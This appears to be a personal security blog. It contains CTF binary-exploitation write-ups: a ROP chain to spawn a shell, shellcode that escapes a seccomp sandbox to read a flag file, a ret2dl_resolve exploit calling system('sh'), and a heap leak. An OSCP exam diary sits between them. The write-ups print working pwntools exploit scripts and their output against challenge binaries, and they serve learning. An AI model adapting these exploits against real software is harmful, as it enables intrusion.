fokt's blog

Hack The Box - [Challenge|Pwn] Ropmev2

Wed, 27 May 2020 00:00:00 +0000

Sources

https://github.com/fachrioktavian/ctf-writeup/tree/master/htb/challenge/pwn/ropmev2

Summary

This is a nice pwn challenge. You will learn about ROP (Return Oriented Programming) technique in binary exploitation.

Binary’s protection

$ checksec ropmev2
[*] '/media/sf_VMShared/htb/challenges/pwn/htb_ropmev2/ropmev2'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

NX enabled means we can’t just place shellcode in the stack then execute it. NX (No Execute) will prevent a memory region to have both writable and executable access at the same time.

Overview

After decompile the binary, here is snippet of main’s pseudocode:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char **v3; // rdx
  char *buf[26]; // [rsp+0h] [rbp-D0h] -> buffer has space of 26 bytes

  sub_401213();
  printf("Please dont hack me\n", buf);
  read(0, buf, 500uLL); // read 500 bytes -> OVERFLOW
  if ( !strcmp("DEBUG\n", buf) )
  {
    printf("I dont know what this is %p\n", buf);
    main("I dont know what this is %p\n", buf, v3);
  }
  sub_401238(buf);
  return 0LL;
}

void __fastcall sub_401238(const char *a1)
{
  int i; // [rsp+1Ch] [rbp-14h]

  if ( a1 )
  {
    for ( i = 0; i < strlen(a1); ++i )
    {
      if ( a1[i] <= 0x60 || a1[i] > 0x6D )
      {
        if ( a1[i] <= 0x40 || a1[i] > 0x4D )
        {
          if ( a1[i] <= 0x6D || a1[i] > 0x7A )
          {
            if ( a1[i] > 0x4D && a1[i] <= 0x5A )
              a1[i] -= 13;
          }
          else
          {
            a1[i] -= 13;
          }
        }
        else
        {
          a1[i] += 13;
        }
      }
      else
      {
        a1[i] += 13;
      }
    }
  }
}

So if we send string DEBUG, it’ll print address of buf. From here we get information leak of stack address, bypassing ASLR (Address Space Layout Randomozation). Then we exploit stack buffer overflow to gain RCE (Remote Code Execution) using ROP. Notice something at function sub_401238()? Yes this function will ruin out buffer, it’ll add or sub the bytes if the bytes match the criteria. But it’s easy to bypass, just place null \x00 at front of buffer and this function will not work because strlen() funtion return length of a string just before null byte.

The bugs

First bug is information disclosure related to stack address. The second bug is overflow on the buffer buf.

Exploitation’s scenario

Leak stack address DEBUG command.
Craft shellcode to call /bin/bash using available gadgets.

Exploitation

Crash the binary

# poc.py
from pwn import *

pad = "\x00a0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"

r = gdb.debug("./ropmev2", "b *0x40120C\n")
r.send(pad)
r.interactive()

run the script and we can debug the binary and find pattern at ret instruction. Using msf-patter_offset we can find the exact offset to gain control of RIP.

$ msf-pattern_offset -q 0x6841336841326841
[*] Exact match at offset 216

/bin/bash location.

Before we craft shellcode, we should know where the address of string /bin/bash. We can insert string /bin/bash into the stack and find the exact location of it using script below:

# poc.py
from pwn import *

pload = b"\x00XXXXXXX" + b"/bin/bash\x00"
pload = b"A"*(216-len(pload)) + pload

r = gdb.debug("./ropmev2", "b *0x40120C\n", aslr=0)
r.sendline("DEBUG")
print(r.recvline())
r.sendline(pload)
r.interactive()

python3 poc.py
[!] Debugging process with ASLR disabled
[+] Starting local process '/usr/bin/gdbserver': pid 2501
[*] running in new terminal: /usr/bin/gdb -q  "./ropmev2" -x "/tmp/pwnws5e_l3m.gdb"
b'Please dont hack me\n'
[*] Switching to interactive mode
I dont know what this is 0x7fffffffded0
Please dont hack me

$ python
Python 2.7.18 (default, Apr 20 2020, 20:30:41) 
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x7fffffffded0 - 0x7fffffffdebe
18

Helpers

Gadget can be found using tools like ropper or ROPgadget

pop_rdi_ret = 0x000000000040142b # pop rdi ; ret
syscall = 0x0000000000401168 # syscall
pop_rax = 0x0000000000401162 # pop rax ; ret
pop_rsi_r15 = 0x0000000000401429 # pop rsi ; pop r15 ; ret
pop_rdx_r13 = 0x0000000000401164 # pop rdx ; pop r13 ; ret

Stage 1. Leaking stack address

stage1 = b"DEBUG"
r.recv()
r.sendline(pload)
r.recvuntil("this is ")
stack_leak = r.recvline()[:-1:]
stack_leak = int(stack_leak,16)

Stage 2. Building ROP chain to trigger RCE

pad = b"\x00XXXXXXX" + b"/bin/bash\x00"
pad = b"A"*(216-len(pad)) + pad
bin_bash = stack_leak - 0x12

stage2 = pad
stage2 += p64(pop_rdi_ret)
stage2 += p64(bin_bash)         # insert /bin/bash to rdi (argv[1])
stage2 += p64(pop_rsi_r15)
stage2 += p64(0)                # insert null to rsi (argv[2])
stage2 += p64(0)
stage2 += p64(pop_rdx_r13)
stage2 += p64(0)
stage2 += p64(0)                # insert null to rdx (argv[3])
stage2 += p64(pop_rax)
stage2 += p64(0x3b)             # insert 0x3b (syscall number for execve) to rax
stage2 += p64(syscall)          # trigger execve("/bin/bash", null, null)

r.send(stage2)

Pwned

$ python3 solve.py
[+] Starting local process './ropmev2': pid 2858
[*] Stage 1 > Leaking stack address
[+]         > Stack leak: 0x7ffde9aff1f0, Address of '/bin/bash': 0x7ffde9aff1de
[*] Stage 2 > Building ROP to execute /bin/bash
[+] Pwned!
[*] Switching to interactive mode
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),117(bluetooth),132(scanner),142(vboxsf)

OSCP Journey

Wed, 27 May 2020 00:00:00 +0000

Try Harder !!!

That’s what describe how i finally hand Offensive Security Certified Professional certificate. And that’s what you need too if you plan to take this course or still in the middle of the course: The “Try Harder” mental.

Start of Journey

PWK (Course of OSCP certification) is a course that i’d wanted to take when i was still in college 4 years ago. So why just take it now? is it cost to much? YES IT DOES. But believe me, it just worth it.

OSCP’s student registration

In Feb 25th 2020 i decided to register as OSCP’s student. Subscribed 2 months lab access cost me $1,199 or about Rp17,000,000 in my country and that was a lot of money thinking that a day before, it was only $999, just before PWK was updated to PWK2020. Good thing is it consists of many new materials including Active Directory which is not present before PWK2020.

The registration was quite easy. I fill online form in Offensive Security website, then received some emails describing what should i do next to complete the registration. I need to prepare a valid legal ID e.g passport to acknoledge it was me who really take the course, reduce possible act of cheating.

VPN connection testing

Next OffSec guides me to test VPN connection to PWK lab, troubleshoots if comes any trouble while connecting to the network. Connect to PWK lab was done with openvpn. And yes i need fast and stable internet connection. Please do not use your smartphone as hotspot as connection, in the lab you will need to do various enumeration that need stable connection. Bad connection will interfere your enumeration process.

Get the course material

Upon the start of lab access at Mar 8th 2020, i received email containing course material in form of PDF and videos. it states that the link will expires in next 72 hours, additional copy in case i forgot to download will charges $199.

VMware virtual machine

Before taking the course, i’ve prepared a clean installed Kali linux as dual boot in my notebook. However OffSec gave custom vmware virtual machine image that is enhanced for PWK course. That makes it easy for me to manage everything because i got many problems while installing Kali my notebook regarding drivers and compatibility hardware. I recommend using given Kali virtual machine to advance into the lab.

The Lab

After watching some PWK videos, i realized that it will take long times to finish it all while lab time was running out. I’ve found and rooted some machine with same style like OSCP style in Hack The Box hacking platform, so it will be my first modal for the lab preparation. My strategy was going straight into the lab, if later find difficulties along the way, time to go back watch video and read course PDF.

In the end, i successfully rooted 47 machines including several labs in subsubnet of public network. Here some tips for working on the labs:

Leave port scanning and enumeration running at night

First, i listed all machines from student’s control panel, then scheduled port scanning and enumeration using AutoRecon. That’s a very good tool, saving your times for enumerating services, it automates everything, run it then start doing something else. Normally, i left it runs when i was going to bed, checked the result on the next day, and if there was finished job, start working on the machine which all service was enumerated. Repeat the process.

Don’t stick to one machine

If you stuck on a machine, don’t force your body and brain to work on it. Yes you should have “Try Harder” mental, but it’s good to have “Try Smarter” too. Move aside for a moment, have a break, eat some candies and drink water, your brain needs calories and your body should stay hydrated. Try hack another machine, sometimes a way into machine A is revealed from machine B.

Helpful friend is on the forum

Forum is a good place for you to find some answer to what holding you back in the lab. I asked something about the machine behavior and but not the way to hack the lab explicitly. The problems may come from exploit codes that need to enhanced a bit, it’s okay to ask about it. People in forum may tell you that you need to edit something in order to make it work without ruining your joy by spoil you the credential or the complete walkthrough.

Friend outside the forum maybe helpful too

I have friends who already passed the OSCP certification, they are live PWK course. They help me providing some tips how to tackle obstacles in PWK lab.

You don’t have to rooted all machines in the lab

There are many machines in the lab, especially PWK2020. You can see in the OffSec site there is additional 30% of course materials and lab machines. Previously, i had ambition to rooted all the machines, but actually it was not required to rooted them all. OffSec just need writeup of 10 lab’s machine minimum + course PDF tasks to get addtional 5 points for exam result which later i didn’t submit the lab report due to the amount of course PDF’s tasks that are so many. The important thing is you learn how to hack them, the process of enumeration, the pace, and the time strategy are valuable things you need for the exam and for real life penetration testing too.

Take notes

I used Visual Studio Codes to create documentations for every rooted machine, that was a good way to review again some techniques i had done before. There are many tool for documentation, sublime, one note, cherry tree, etc. Take notes for every command you use. And bookmark all webpage regarding HowTos, tutorial, and anything related to the machine.

Create write-ups for every rooted machine

I created write-up for every machine i rooted. For some people, maybe creating documentation in detail is a boring activity, but for OSCP, you should get used to it. Even if you root all machines in Exam, but with no write-ups means no points for you, means you fail it.

Enjoy the process

Enjoy the learning process, the progress you’ve gotten from zero to little hero, from little hero to hero. Do not focus on the result, even the exam demands result, but the lab time is the study time, keep learn something, don’t stop until the lab time is over.

Read other’s OSCP notes

There are many notes, blogs, and tutorials available online that you can read and implement it in your lab. eg: sushant747.gitbooks.io, securism.wordpress.com, book.hacktricks.xyz, and many more.

OSCP Exam

My OSCP exam is scheduled at May 19th, 04:00. Yes 4 o’clock in the morning. I woke up at 03:00, take a shower, made a hot drink, and prepared snack. 15 minutes before the exam, i logged into proctoring webapps by OffSec. The proctor then asked me to show ID and what was around me. At 04:00 i received VPN connection to exam lab and my 23 hourse 45 minutes exam time was started.

I have 5 machines in the exam need to owned. 2 machines @ 25 points, 2 machines @ 20 points, and 1 @ 10 points with total points of 100. The minimum points to pass the exam is 70.

First machine i owned was buffer overflow machine @ 25 points. While doing exploit development, i left AutoRecon runs on the background to enumerates and scans services of 4 other machines. I finished owned BOF machine in an hour.

The next machine i targeted was 10 points machine. I thought it was an easy machine, turned out i spent 2 hours and get nothing. The exploit is available on the web, but try various versions of it didn’t give me reverse shell. Maybe it was time to break, so i told the proctor i need to step aside from the monitor, drank water, got scretch and had a breakfast. An hour later i felt fresh again.

Back to my desk, told proctor i was ready to continue the exam then try a 20 points machine. Owned it about 2 hours later. So far i handed 45 points. After that i tried to continue my luck on 10 points machine. Decided to use forbidden tool aka metasploit and got the reverse shell instantly. I was very happy at that time thought my decision was right because i only got one chance to use metasploit, wether it success or not i couldn’t use metasploit again on other machine. So far i handed 55 points and still have 12 hours to go. I took a break and lunch.

6 hours later i spent for 25 points machine. I found that this machine was easier than the 20 points one. Owned it and handed 80 points and 6 hours exam time left. That time i felt very relieved. I decided to use next 6 hours for writing documentation than continued to persue the 20 points machine. The target is to pass the minimum exam points, not to get full points. Last one hour i finally done all the documentation with 80 confident points. Such a nice experience :) even i didn’t take a nap or sleep at night, stay awake for almost 24 hours.

After submitting the documentation, OffSec sent me a receipt of submitted document. At May 24th 2020 12:59 AM i received email from OffSec told me that i have successfully completed the PWK course and granted OSCP certification.

Last Word

PWK/OSCP is one of many security related course/certification out there. I can’t compare it to another because this is my first certification. But after taking the course, i get many new knowledges, especially the pace to successfully exploit any target and “Try Harder” mental that actually become a mantra, a mantra to not give up on every situation, not only in hacking term but also in my real life itself :)

Kompetisi Keamanan Siber Indonesia CTF Quals 2019 - Sandbox2

Tue, 17 Dec 2019 00:00:00 +0000

Sources

https://github.com/fachrioktavian/ctf-writeup/tree/master/kksiquals19/sandbox2

Summary

This is a sandbox escape challenge, got from KKSI CTF Quals 2019.

Overview

This is a simple sandbox binary, it asks input from user. Those input then will be executed as a code.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int i;

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  printf("> ", 0LL);
  read(0, shellcode, 17uLL);
  for ( i = 0; i <= 0x10; ++i )
  {
    if ( shellcode[i] == 15 && shellcode[i + 1] == 5 )
    {
      puts("[*] blocked !");
      return -1;
    }
  }
  install_syscall_filter();
  (*shellcode)(0LL, shellcode);
  return 0;
}

❯ ./sandbox2
> asd
[1]    22650 illegal hardware instruction (core dumped)  ./sandbox2

Its limitation is we can only submit a maximum 17 bytes of shellcode and seccomp protection is applied to the binary. We can’t use some syscalls in the shellcode.

❯ seccomp-tools dump sandbox2
>
 line  CODE  JT   JF      K
=================================
0x20 0x00 0x00 0x00000004  A = arch
0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
0x06 0x00 0x00 0x00000000  return KILL
0x20 0x00 0x00 0x00000000  A = sys_number
0x15 0x00 0x01 0x00000002  if (A != open) goto 0006
0x06 0x00 0x00 0x00000000  return KILL
0x15 0x00 0x01 0x00000039  if (A != fork) goto 0008
0x06 0x00 0x00 0x00000000  return KILL
0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0010
0x06 0x00 0x00 0x00000000  return KILL
0x15 0x00 0x01 0x00000038  if (A != clone) goto 0012
0x06 0x00 0x00 0x00000000  return KILL
0x15 0x00 0x01 0x00000065  if (A != ptrace) goto 0014
0x06 0x00 0x00 0x00000000  return KILL
0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0016
0x06 0x00 0x00 0x00000000  return KILL
0x15 0x00 0x01 0x0000009d  if (A != prctl) goto 0018
0x06 0x00 0x00 0x00000000  return KILL
0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0020
0x06 0x00 0x00 0x00000000  return KILL
0x15 0x00 0x01 0x00000142  if (A != execveat) goto 0022
0x06 0x00 0x00 0x00000000  return KILL
0x06 0x00 0x00 0x7fff0000  return ALLOW

Binary’s protection:

❯ checksec sandbox2
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

Exploitation’s scenario

No PIE enabled so first we need to extend our shellcode by calling syscall read.
Using openat, read, and write syscalls to print value from flag.txt.

Exploitation

Helper

r = process("./sandbox2", aslr=1)
e = ELF('./sandbox2', checksec=False)

gdb.attach(r, "b *0x400C18\nb* 0x400BA5") # for debugging

Stage 1. Extending shellcode

Because our shellcode can’t be longer than 17 bytes, so we should use the space as best as possible. After debugging the binary, found that register r12 holds address to start region. Subtract it a bit to point to read function. Then set return address value to where our next shellcode lies.

pload1 = "sub r12, 80\n"
pload1 += "mov [rsp+0x18], rdx\n"
pload1 += "mov esi, edx\n"
pload1 += "xor edi, edi\n"
pload1 += "call r12\n"
pload1 += "ret\n"

pload1 = asm(pload1, vma=e.sym['shellcode'])
pload1 = pload1.ljust(0x11, '\x90')

r.recv()
r.send(pload1)

Stage 2. Reading flag

Because open is restricted by seccomp, we use openat that has similar functionality to open.

pload2 = asm(
    shellcraft.linux.openat(-100, 'flag.txt', 0) +
    shellcraft.linux.read('rax', 'rsp', 0x200) +
    shellcraft.linux.write(1, 'rsp', 0x200) +
    "leave\nret"
)

pload2 = "\x90"*20 + pload2

r.send(pload2)

log.success(r.recv())

Result

❯ python solve.py
[+] Starting local process './sandbox2': pid 24962
[*] Stage 1 > Extending shellcode
[*] Stage 2 > Reading flag
[*] Process './sandbox2' stopped with exit code 0 (pid 24962)
[+] flag{dummy_flag}
    \x0c@\x00\x00\x00\x00\x00�g�^\x11\x00\x00\x00\xb0 `\x00\x00\x00\x00\x00\xb0 `\x00\x00\x00\x00\x00\x97k�fs\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00�g�^�\x7f\x00\x00\x00\x80\x00\x00\x00\x00\x00?\x0b@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\x84����Ё0\x07@\x00\x00\x00\x00\x00�g�^�\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\x84�*\x18L(~\x85\x84\x1a2\x86<6\x7f\x00\x00\x00\x00�\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003g\x0egs\x7f\x00\x008�
         gs\x7f\x00\x00\x0e\xb4\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000\x07@\x00\x00\x00\x00\x00�g�^�Z@\x00\x00\x00\x00\x00�g�^�\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb9\x81\x9f^�\x00\x00\x00\x00\x00\x00ā\x9f^�΁\x9f^���\x9f^��\x9f^�-�\x9f^�E�\x9f^�]�\x9f^�~�\x9f^���\x9f^���\x9f^���\x9f^���\x9f^�˂\x9f^�ۂ\x9f^���\x9f^���\x9f^���\x9f^��\x9f^��\x9f^�5�\x9f^�I�\x9f^�\�\x9f^���\x9f^�ӄ\x9f^���\x9f^���\x9f^�
                       �\x9f^�!�\x9f^�

Hack in The Box Gsec CTF 2019 - Blazeme

Wed, 04 Dec 2019 00:00:00 +0000

Sources

https://github.com/fachrioktavian/ctf-writeup/tree/master/hitbgsec19/blazeme

Summary

I’ve got this challenge from friend who joined the hitbgsec ctf in Singapore last year. This challenge refreshes my memory about a technique called ret2dl_resolve. It’s a technique like ret2libc, but because the limitation of libc function in the binary so we return the binary using lazy binding mechanism of _dl_resolve() function.

Overview

The binary is a simple binary, it reads input exits. Nothing fancy, no funtion to read flag or libc’s system function.

int __cdecl main()
{
  char buf;
  read(0, &buf, 200u);
  return 0;
}

Binary’s protection:

❯ checksec blazeme
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

The bugs

From the Overview section above we should now that it’s a stack buffer overflow. Dynamic binary, No canary and NX protection found, so basically we will solve this challenge using ret2libc. But again there isn’t any function that useful to leak libc address.

Exploitation’s scenario

Because we can’t leak anything, first we should defeat ASLR by read our payload to BSS segment and jump to it. Thank god no PIE enable.
Calling _dl_resolve() to resolves and calls system("sh").

Exploitation

Helper

Some variable that we need in the exploitation process, will talk about it in the Stage 2’s section.

r = process("./blazeme", aslr=1)

read_plt = 0x080482f0
tmp_got = 0x0804a000

ELF_JMPREL_Rel_Tab = 0x08048298
ELF_String_Tab = 0x0804821C
ELF_Symbol_Tab = 0x080481CC

leave_ret_gdt = 0x08048388
bss_segment = 0x0804af00
_dl_resolve = 0x080482e0

pad = "A"*108

Stage 1. Reads stage2 payload and jump to it, defeat ASLR

Using ret2libc we craft payload to read stage2 payload and jump to it using leave; ret; gadget.

stage1 = flat(pad, p32(bss_segment), p32(read_plt), p32(leave_ret_gdt), p32(0), p32(bss_segment), p32(0x80))

r.send(stage1)

Binary then will reads our next input and stores it on BSS segment.

Stage 2. Return to _dl_resolve()

Elf relocation

We know that for a dynamic binary, when it calls a libc function (e.g read) for the first time, the Linker (we know as LD) will search it in the libc then executes the function. After that the address of read will placed in GOT segment and can be use for the next function call.

Dynamic section

In the ELF binary there is a dynamic section that’s used for LD to resolve symbols at runtime.

❯ readelf -d blazeme 
Dynamic section at offset 0xf14 contains 24 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     0x1
 0x0000000c (INIT)                       0x80482b0
 0x0000000d (FINI)                       0x80484c4
 0x00000019 (INIT_ARRAY)                 0x8049f08
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x0000001a (FINI_ARRAY)                 0x8049f0c
 0x0000001c (FINI_ARRAYSZ)               4 (bytes)
 0x6ffffef5 (GNU_HASH)                   0x80481ac
 0x00000005 (STRTAB)                     0x804821c
 0x00000006 (SYMTAB)                     0x80481cc
 0x0000000a (STRSZ)                      74 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000015 (DEBUG)                      0x0
 0x00000003 (PLTGOT)                     0x804a000
 0x00000002 (PLTRELSZ)                   24 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)                     0x8048298
 0x00000011 (REL)                        0x8048290
 0x00000012 (RELSZ)                      8 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
 0x6ffffffe (VERNEED)                    0x8048270
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x8048266
 0x00000000 (NULL)                       0x0

For exploitation, we will focus on STRTAB (ELF String Table), SYMTAB (ELF Symbol Table), and JMPREL (ELF Relocation Table).

JMPREL

JMPREL segment (‘PLT’ Relocation section) stores a table called relocation table. Each entry maps to a symbol and the size of each entry is 8 bytes.

❯ readelf --use-dynamic -r blazeme
'REL' relocation section at offset 0x8048290 contains 8 bytes:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000206 R_386_GLOB_DAT    00000000   <string table index:  49>

'PLT' relocation section at offset 0x8048298 contains 24 bytes:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   <string table index:  26>
0804a010  00000207 R_386_JUMP_SLOT   00000000   <string table index:  49>
0804a014  00000307 R_386_JUMP_SLOT   00000000   <string table index:  31>

# disasm of blazeme
LOAD:08048298 ; ELF JMPREL Relocation Table
LOAD:08048298                 Elf32_Rel <804A00Ch, 107h> ; R_386_JMP_SLOT read
LOAD:080482A0                 Elf32_Rel <804A010h, 207h> ; R_386_JMP_SLOT __gmon_start__
LOAD:080482A8                 Elf32_Rel <804A014h, 307h> ; R_386_JMP_SLOT __libc_start_main

The entries’ struct type is Elf32_Rel which define in macros:

typedef uint32_t Elf32_Addr ;
typedef uint32_t Elf32_Word ;
typedef struct
{
   Elf32_Addr r_offset ; /* Address */
   Elf32_Word r_info ; /* Relocation type and symbol index */
} Elf32_Rel ;
#define ELF32_R_SYM(val) ((val) >> 8)
#define ELF32_R_TYPE(val) ((val) & 0xff)

If we take a look on first entry of PLT relocation section there is symbol read:

Offset or r_offset saves GOT address of read 0x0804a00c
Info or r_info stores the metadata of ELF32_R_SYM and ELF32_R_TYPE. r_info 0x107,from defined macros we know that ELF32_R_SYM is 1 ((val) » 8) and ELF32_R_TYPE is 7 ((val) & 0xff)

SYMTAB

SYMTAB segments(ELF Symbol Table) stores relevant symbols information. The type of each entry is ELF32_Sym struct and the size is 16 bytes. The type is define as:

typedef struct
{
   Elf32_Word st_name ; /* Symbol name (string tbl index) */
   Elf32_Addr st_value ; /* Symbol value */
   Elf32_Word st_size ; /* Symbol size */
   unsigned char st_info ; /* Symbol type and binding */
   unsigned char st_other ; /* Symbol visibility under glibc>=2.2 */
   Elf32_Section st_shndx ; /* Section index */
} Elf32_Sym ;

pwndbg> x/4wx 0x080481DC
0x80481dc:	0x0000001a	0x00000000	0x00000000	0x00000012

The first value st_name holds the offset of name of the symbols starts in STRTAB.

STRTAB

STRTAB segments(ELF String Table) is a table that stores strings of symbols name.

LOAD:0804821C ; ELF String Table
LOAD:0804821C byte_804821C    db 0
LOAD:0804821C
LOAD:0804821D aLibcSo6        db 'libc.so.6',0
LOAD:08048227 aIoStdinUsed    db '_IO_stdin_used',0
LOAD:08048236 aRead           db 'read',0
LOAD:0804823B aLibcStartMain  db '__libc_start_main',0
LOAD:0804823B
LOAD:0804824D aGmonStart      db '__gmon_start__',0
LOAD:0804825C aGlibc20        db 'GLIBC_2.0',0

If we look at JMPREL section, ELF32_R_SYM of read is 1 and st_name is 0x1a. This information is used to get value in STRTAB.

pwndbg> x/s 0x0804821C + (1*0x1a)
0x8048236:	"read"

_dl_runtime_resolve()

When resolver runs, it calls _dl_runtime_resolve(link_map, rel_offset). The rel_offset gives offset of the Elf32_Rel struct in JMPREL table. link_map gives address of list with all loaded libraries. _dl_runtime_resolve() will use that address to stores resolved read function from libc. So basically it’s just need a writable address. The pseudocode that describes what _dl_runtime_resolve() does is:

// call of unresolved read(0, buf, 0x100)
_dl_runtime_resolve(link_map, rel_offset) {
    Elf32_Rel * rel_entry = JMPREL + rel_offset ;
    Elf32_Sym * sym_entry = &SYMTAB [ ELF32_R_SYM ( rel_entry -> r_info )];
    char * sym_name = STRTAB + sym_entry -> st_name ;
    _search_for_symbol_(link_map, sym_name);
    // invoke initial read call now that symbol is resolved
    read(0, buf, 0x100);
}

Building payload

With knowing concept of JMPREL, SYMTAB, STRTAB, and how _dl_runtime_resolve() works, then we can craft a payload that ask binary to call _dl_runtime_resolve to resolves symbol system then calls system('sh') for us.

First calculate the address off Elf32_Rel structure of system’s symbols that we create in stage2 as 0x08048298 is address of the top table of JMPREL.

crafted_area = bss_segment + 0x14
elf32_Rel_offset = crafted_area - ELF_JMPREL_Rel_Tab

Then calculate elf32_Sym_offset and elf32_Sym_index as 0x080481CC is the address of top address of SYMTAB.

elf32_Sym_offset = crafted_area + 0x8
align = 0x10 - ((elf32_Sym_offset - ELF_Symbol_Tab) % 0x10)
elf32_Sym_offset += align
elf32_Sym_index = (elf32_Sym_offset - ELF_Symbol_Tab) / 0x10

Next, calculate elf32_Sym_st_name value so _dl_runtime_resolve can find our “system” string.

elf32_Rel_r_info = (elf32_Sym_index << 8) | 0x7

elf32_Rel_data = flat(p32(tmp_got), p32(elf32_Rel_r_info))

elf32_Sym_st_name = (elf32_Sym_offset + 0x10) - ELF_String_Tab
elf32_Sym_data = flat(p32(elf32_Sym_st_name), p32(0), p32(0), p32(0x12))

Finally craft all stage 2 payload:

system_param_offset = bss_segment + 0x64
system_str = "system\x00"
system_param_str = "sh\x00"
stage2 = flat(
    "JUNK", 
    p32(_dl_resolve), 
    p32(elf32_Rel_offset), 
    "JUNK", 
    p32(system_param_offset), 
    elf32_Rel_data, 
    "A"*align, 
    elf32_Sym_data, 
    system_str)
pad = "B" * (100 - len(stage2))
stage2 += flat(
    pad, 
    system_param_str)
pad = "C" * (0x80 - len(stage2))
stage2 += flat(pad)

r.send(stage2)

Pwned

❯ python solve2.py
[+] Starting local process './blazeme': pid 6768
[*] Stage 1 > Read stage2 payload and jump to stage2
[*] Stage 2 > Ret2dl_resolve
[+] Pwned!
[*] Switching to interactive mode
$ uname -a
Linux fokt 5.0.0-31-generic #33~18.04.1-Ubuntu SMP Tue Oct 1 10:20:39 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Asis CTF Final 2019 - Securalloc

Fri, 29 Nov 2019 00:00:00 +0000

Sources

https://github.com/fachrioktavian/ctf-writeup/tree/master/asisfin19/securalloc

Summary

This is a nice challenge, refresh us about some technique before tcache was inroduce in the recent libc version. There are many approach to solve this challenge, we can use house of force or house of orange. For this post i will use fastbin attack like what Quentinmeffre did in his post

Overview

The binary is a general challenge of heap exploitation, there are malloc and free function. But binary implements function secure_malloc, secure_init, secure_free.

secure_init is a function to get a canary value from /dev/urandom, this canary then is saved in every heap chunk that is created by secure_malloc. This canary prevents us to do heap buffer overflow because there will always be a heap canary checking after doing some input to the buffer.

void *secure_init() // libsalloc.so
{
  __int64 v0;
  __int64 v1;
  void *result;
  signed int i;
  FILE *stream;

  stream = fopen("/dev/urandom", "rb");
  if ( !stream )
    exit(1);
  for ( i = 0; i <= 7; ++i )
    fread(&canary, 8uLL, 1uLL, stream);
  fclose(stream);
  v0 = canary;
  LOBYTE(v0) = 0;
  v1 = v0;
  result = &canary;
  canary = v1;
  return result;
}

secure_malloc does a malloc with a few modification to the chunk including adds size of the chunk and a canary before top chunk.

_DWORD *__fastcall secure_malloc(unsigned int len_buffer) // libsalloc.so
{
  _DWORD *v2;

  v2 = malloc(len_buffer + 16);
  if ( !v2 )
    __abort("Resource depletion (secure_malloc)");
  *v2 = len_buffer;
  v2[1] = len_buffer + 1;
  *(v2 + len_buffer + 8) = canary;
  return v2 + 2;
}

secure_free does a free to a chunk that pointed by a pointer saved in global variable. This global variable always set to 0 after the chunk is freed, this prevents a double free vulnerability.

void __fastcall secure_free(__int64 a1) // libsalloc.so
{
  int v1;

  if ( a1 )
  {
    v1 = *(a1 - 8);
    if ( *(a1 - 4) - v1 != 1 )
      __abort("*** double free detected ***: <unknown> terminated");
    __heap_chk_fail(a1);
    memset((a1 - 8), 0, (v1 + 16));
    free((a1 - 8));
  }
}

Binary’s protection:

❯ checksec securalloc.elf
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Full RELRO means we can’t just overwrite GOT table. We can overwrite __malloc_hook or __free_hook address to get arbitrary shell from one gadget RCE. And with PIE enable we should leak some address to bypass it.

The bugs

There are datas left in the heap section that hasn’t been cleared. Those are pointers from FILE structures and the stream datas from /dev/urandom. Those come from secure_init function as the function called fopen() that lying stream data in heap.

 pwndbg> x/40gx 0x55cadc53e000
 0x55cadc53e000:	0x0000000000000000	0x0000000000021001
 0x55cadc53e010:	0x00000000fbad240c	0x0000000000000000
 0x55cadc53e020:	0x0000000000000000	0x0000000000000000
 0x55cadc53e030:	0x0000000000000000	0x0000000000000000
 0x55cadc53e040:	0x0000000000000000	0x0000000000000000
 0x55cadc53e050:	0x0000000000000000	0x0000000000000000
 0x55cadc53e060:	0x0000000000000000	0x0000000000000000
 0x55cadc53e070:	0x0000000000000000	0x00007fd6b90d4540 # leak libc_base
 0x55cadc53e080:	0x00000000ffffffff	0x0000000000000000
